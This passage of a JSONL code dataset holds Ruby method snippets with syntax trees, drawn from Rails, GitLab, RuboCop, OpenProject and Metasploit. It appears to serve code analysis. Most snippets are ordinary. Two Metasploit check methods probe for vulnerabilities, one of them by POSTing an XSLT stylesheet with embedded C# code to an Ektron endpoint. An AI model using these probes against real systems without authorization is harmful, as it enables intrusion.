{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":536,"raw_source":"def partial_collection_with_locals\n    render partial: \"customer_greeting\", collection: [ Customer.new(\"david\"), Customer.new(\"mary\") ], locals: { greeting: \"Bonjour\" }\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"partial_collection_with_locals\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"customer_greeting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"collection\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"new\",{\"type\":\"str\",\"children\":[\"david\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"new\",{\"type\":\"str\",\"children\":[\"mary\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"greeting\"]},{\"type\":\"str\",\"children\":[\"Bonjour\"]}]}]}]}]}]}]}","id":"9aff7102-f746-49bb-ab48-dd287965f392"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/base_query.rb","start_line":226,"raw_source":"def group_by_order\n    order_for(group_by.order_key).tap do |order|\n      order.direction = :asc\n    end\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"group_by_order\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group_by\"]},\"order_key\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"order\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"direction=\",{\"type\":\"sym\",\"children\":[\"asc\"]}]}]}]}","id":"3d5511bc-637d-4848-878c-1294441d7fb9"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/behaviors/cache_increment_decrement_behavior.rb","start_line":19,"raw_source":"def test_decrement\n    key = SecureRandom.uuid\n    @cache.write(key, 3, raw: true)\n    assert_equal 3, @cache.read(key, raw: true).to_i\n    assert_equal 2, @cache.decrement(key)\n    assert_equal 2, @cache.read(key, raw: true).to_i\n    assert_equal 1, @cache.decrement(key)\n    assert_equal 1, @cache.read(key, raw: true).to_i\n\n    missing = @cache.decrement(SecureRandom.alphanumeric)\n    assert_equal @cache.is_a?(ActiveSupport::Cache::MemCacheStore) ? 0 : -1, missing\n    missing = @cache.decrement(SecureRandom.alphanumeric, 100)\n    assert_equal @cache.is_a?(ActiveSupport::Cache::MemCacheStore) ? 0 : -100, missing\n  end","complexity_score":33.83,"ast_json":"{\"type\":\"def\",\"children\":[\"test_decrement\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"decrement\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"decrement\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"missing\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"decrement\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"alphanumeric\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Cache\"]},\"MemCacheStore\"]}]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"lvar\",\"children\":[\"missing\"]}]},{\"type\":\"lvasgn\",\"children\":[\"missing\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"decrement\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"alphanumeric\"]},{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Cache\"]},\"MemCacheStore\"]}]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-100]}]},{\"type\":\"lvar\",\"children\":[\"missing\"]}]}]}]}","id":"15f4bfe2-5766-4916-b10f-fb98ae5a7ba4"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/visits/group.rb","start_line":90,"raw_source":"def merge_visit(previous_visit, current_visit)\n    previous_visit.points.concat(current_visit.points)\n    previous_visit.end_time = current_visit.end_time\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_visit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"previous_visit\"]},{\"type\":\"arg\",\"children\":[\"current_visit\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"previous_visit\"]},\"points\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_visit\"]},\"points\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"previous_visit\"]},\"end_time=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_visit\"]},\"end_time\"]}]}]}]}","id":"818e98a6-48ce-42fc-bd4a-03f4a4278031"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore/backup_store.rb","start_line":68,"raw_source":"def download_file(filename, destination, failure_message = nil)\n      fail NotImplementedError\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"download_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]},{\"type\":\"arg\",\"children\":[\"destination\"]},{\"type\":\"optarg\",\"children\":[\"failure_message\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"fail\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]}]}]}","id":"d3d251d7-e88d-4d7f-a54f-6cdd25820727"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/sun_jsws_dav_options.rb","start_line":114,"raw_source":"def check\n    res = send_request_raw(\n      {\n        'method' => 'OPTIONS',\n        'proto' => 'HTTP',\n        'version' => '1.0',\n        'uri' => normalize_uri(datastore['PATH'])\n      }, 5\n    )\n\n    info = http_fingerprint({ :response => res }) # check method\n    if (info =~ /Sun/)\n      print_status(\"Found server: #{info}\")\n      return Exploit::CheckCode::Detected\n    end\n    Exploit::CheckCode::Safe\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"OPTIONS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"HTTP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"1.0\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PATH\"]}]}]}]}]},{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"send\",\"children\":[null,\"http_fingerprint\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response\"]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Sun\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found server: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}","id":"2c229f59-aa61-4181-80fc-8f6164a151ba"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/string_ext_test.rb","start_line":210,"raw_source":"def test_string_parameterized_no_separator_preserve_case\n    StringToParameterizePreserveCaseWithNoSeparator.each do |normal, slugged|\n      assert_equal(slugged, normal.parameterize(separator: \"\", preserve_case: true))\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_string_parameterized_no_separator_preserve_case\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringToParameterizePreserveCaseWithNoSeparator\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"normal\"]},{\"type\":\"arg\",\"children\":[\"slugged\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"slugged\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"normal\"]},\"parameterize\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"separator\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"preserve_case\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"db9f728e-10a8-473c-854f-1ce6574bc078"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/ektron_xslt_exec.rb","start_line":63,"raw_source":"def check\n    fingerprint = rand_text_alpha(5 + rand(5))\n    xslt_data = <<~XSLT\n      <?xml version='1.0'?>\n      <xsl:stylesheet version=\"1.0\"\n      xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n      xmlns:msxsl=\"urn:schemas-microsoft-com:xslt\"\n      xmlns:user=\"http://mycompany.com/mynamespace\">\n      <msxsl:script language=\"C#\" implements-prefix=\"user\">\n      <![CDATA[\n      public string xml()\n      {\n      return \"#{fingerprint}\";\n      }\n      ]]>\n      </msxsl:script>\n      <xsl:template match=\"/\">\n      <xsl:value-of select=\"user:xml()\"/>\n      </xsl:template>\n      </xsl:stylesheet>\n    XSLT\n\n    res = send_request_cgi(\n      {\n        'uri' => \"#{uri_path}WorkArea/ContentDesigner/ekajaxtransform.aspx\",\n        'version' => '1.1',\n        'method' => 'POST',\n        'ctype' => \"application/x-www-form-urlencoded; charset=UTF-8\",\n        'headers' => {\n          \"Referer\" => build_referer\n        },\n        'vars_post' => {\n          \"xml\" => rand_text_alpha(5 + rand(5)),\n          \"xslt\" => xslt_data\n        }\n      }\n    )\n\n    if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/\n      return Exploit::CheckCode::Vulnerable\n    end\n\n    return Exploit::CheckCode::Safe\n  end","complexity_score":25.65,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fingerprint\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[5]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"xslt_data\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<?xml version='1.0'?>\\n\"]},{\"type\":\"str\",\"children\":[\"<xsl:stylesheet version=\\\"1.0\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"xmlns:xsl=\\\"http://www.w3.org/1999/XSL/Transform\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"xmlns:msxsl=\\\"urn:schemas-microsoft-com:xslt\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"xmlns:user=\\\"http://mycompany.com/mynamespace\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<msxsl:script language=\\\"C#\\\" implements-prefix=\\\"user\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<![CDATA[\\n\"]},{\"type\":\"str\",\"children\":[\"public string xml()\\n\"]},{\"type\":\"str\",\"children\":[\"{\\n\"]},{\"type\":\"str\",\"children\":[\"return \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprint\"]}]},{\"type\":\"str\",\"children\":[\"\\\";\\n\"]},{\"type\":\"str\",\"children\":[\"}\\n\"]},{\"type\":\"str\",\"children\":[\"]]>\\n\"]},{\"type\":\"str\",\"children\":[\"</msxsl:script>\\n\"]},{\"type\":\"str\",\"children\":[\"<xsl:template match=\\\"/\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<xsl:value-of select=\\\"user:xml()\\\"/>\\n\"]},{\"type\":\"str\",\"children\":[\"</xsl:template>\\n\"]},{\"type\":\"str\",\"children\":[\"</xsl:stylesheet>\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uri_path\"]}]},{\"type\":\"str\",\"children\":[\"WorkArea/ContentDesigner/ekajaxtransform.aspx\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"1.1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/x-www-form-urlencoded; charset=UTF-8\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Referer\"]},{\"type\":\"send\",\"children\":[null,\"build_referer\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"xml\"]},{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[5]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"xslt\"]},{\"type\":\"lvar\",\"children\":[\"xslt_data\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprint\"]}]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Error\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"855a049b-8f91-4271-bf19-b2d2731895f8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/authn/token_field/base.rb","start_line":24,"raw_source":"def initialize(klass, token_field, options)\n        @klass = klass\n        @token_field = token_field\n        @expires_at_field = \"#{token_field}_expires_at\"\n        @options = options\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"token_field\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@klass\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@token_field\",{\"type\":\"lvar\",\"children\":[\"token_field\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@expires_at_field\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token_field\"]}]},{\"type\":\"str\",\"children\":[\"_expires_at\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"cc4e2ced-eb0e-4b1d-8520-7bcc52152c04"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/environment.rb","start_line":365,"raw_source":"def cancel_deployment_jobs!\n    active_deployments.jobs.each do |job|\n      Gitlab::OptimisticLocking.retry_lock(job, name: 'environment_cancel_deployment_jobs') do |job|\n        job.cancel! if job&.cancelable?\n      end\n    rescue StandardError => e\n      Gitlab::ErrorTracking.track_exception(e, environment_id: id, deployment_id: deployment.id)\n    end\n  end","complexity_score":18.9,"ast_json":"{\"type\":\"def\",\"children\":[\"cancel_deployment_jobs!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_deployments\"]},\"jobs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"OptimisticLocking\"]},\"retry_lock\",{\"type\":\"lvar\",\"children\":[\"job\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"environment_cancel_deployment_jobs\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"cancelable?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"cancel!\"]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"track_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deployment_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deployment\"]},\"id\"]}]}]}]}]},null]}]}]}","id":"894bdb9d-d6bd-4ded-8dec-ae6181d57d62"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/groups/packages_spec.rb","start_line":87,"raw_source":"def visit_group_packages\n    visit group_packages_path(group)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_group_packages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[null,\"group_packages_path\",{\"type\":\"send\",\"children\":[null,\"group\"]}]}]}]}","id":"5ddf04ad-4932-41aa-a7cb-d36781f63c28"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/string_concatenation.rb","start_line":143,"raw_source":"def replacement(parts)\n          interpolated_parts = parts.map { |part| adjust_str(part) }\n\n          \"\\\"#{handle_quotes(interpolated_parts).join}\\\"\"\n        end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"replacement\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"interpolated_parts\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"part\"]}]},{\"type\":\"send\",\"children\":[null,\"adjust_str\",{\"type\":\"lvar\",\"children\":[\"part\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handle_quotes\",{\"type\":\"lvar\",\"children\":[\"interpolated_parts\"]}]},\"join\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]}","id":"ac5974e2-ea95-4d1f-8db8-237d67e46817"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/missing_else.rb","start_line":161,"raw_source":"def case_style?\n          style == :case\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"case_style?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"case\"]}]}]}","id":"1e94391b-8841-45c9-91b3-9695c0a0b14f"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/lib/open_project/text_formatting/markdown/in_tool_links_spec.rb","start_line":584,"raw_source":"def source_url(**)\n        entry_revision_project_repository_path(project_id: identifier, repo_path: \"some/file\", **)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"source_url\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"entry_revision_project_repository_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"identifier\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repo_path\"]},{\"type\":\"str\",\"children\":[\"some/file\"]}]},{\"type\":\"forwarded_kwrestarg\",\"children\":[]}]}]}]}","id":"a745dc13-ce73-4592-b6c2-59c4b807b60d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit.rb","start_line":1177,"raw_source":"def rand_text_alpha_upper(length, bad=payload_badchars)\n    if debugging?\n      rand_text_debug(length)\n    else\n      Rex::Text.rand_text_alpha_upper(length, bad)\n    end\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rand_text_alpha_upper\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"length\"]},{\"type\":\"optarg\",\"children\":[\"bad\",{\"type\":\"send\",\"children\":[null,\"payload_badchars\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"debugging?\"]},{\"type\":\"send\",\"children\":[null,\"rand_text_debug\",{\"type\":\"lvar\",\"children\":[\"length\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_upper\",{\"type\":\"lvar\",\"children\":[\"length\"]},{\"type\":\"lvar\",\"children\":[\"bad\"]}]}]}]}","id":"57a8ba6a-1097-416c-afc4-1909036662c3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/work_item.rb","start_line":358,"raw_source":"def supported_quick_action_commands\n    commands_for_widgets = work_item_type.widget_classes(resource_parent).flat_map(&:quick_action_commands).uniq\n\n    COMMON_QUICK_ACTIONS_COMMANDS + commands_for_widgets\n  